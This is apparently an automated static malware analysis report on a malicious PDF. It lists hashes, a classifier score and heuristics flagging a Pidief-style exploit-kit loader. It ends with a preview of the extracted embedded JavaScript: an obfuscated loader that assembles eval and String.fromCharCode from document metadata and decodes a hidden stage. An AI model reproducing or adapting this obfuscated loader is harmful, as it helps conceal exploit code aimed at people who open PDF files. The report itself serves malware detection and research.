Malicious PDF — malware analysis report

Static analysis result for SHA-256 538091db95b88cae…

MALICIOUS

PDF

49.7 KB Authoring application: substr First seen: 2026-05-04
MD5: 17e83949c814c057c6594ff756ba2f0f SHA-1: 11ef23f44165cf7e3ea9f606e9f9c7c7e9a43f2f SHA-256: 538091db95b88cae08a63c1a007e6a1716573f465d1e2333b8cc315d35874bcf
86 Risk Score

Malware Insights

The PDF document was flagged as suspicious by a machine learning classifier with high confidence. Static analysis revealed embedded JavaScript, which is often used to execute malicious code or exploit vulnerabilities within PDF viewers. No specific IOCs were extracted, and the JavaScript content was not detailed enough to determine its exact function, leading to a moderate confidence score.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xC425 489 bytes
SHA-256: 19d105ce645920f83174c87e1c3f529f4f5b97cb89ae18049b811e1804605b06
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
dxxf=e(v[4]+'i'.concat(v[4],t));
q=dxxf[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
ufgld=e(e('d'));
sub=v[0];
sub+='ubject';
q=dxxf[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	oij = 1*(q[i]);
	i++;
	oij -= (-1)*(q[i]);
	s2 += ufgld(oij);
	i++;
}
e(s2);

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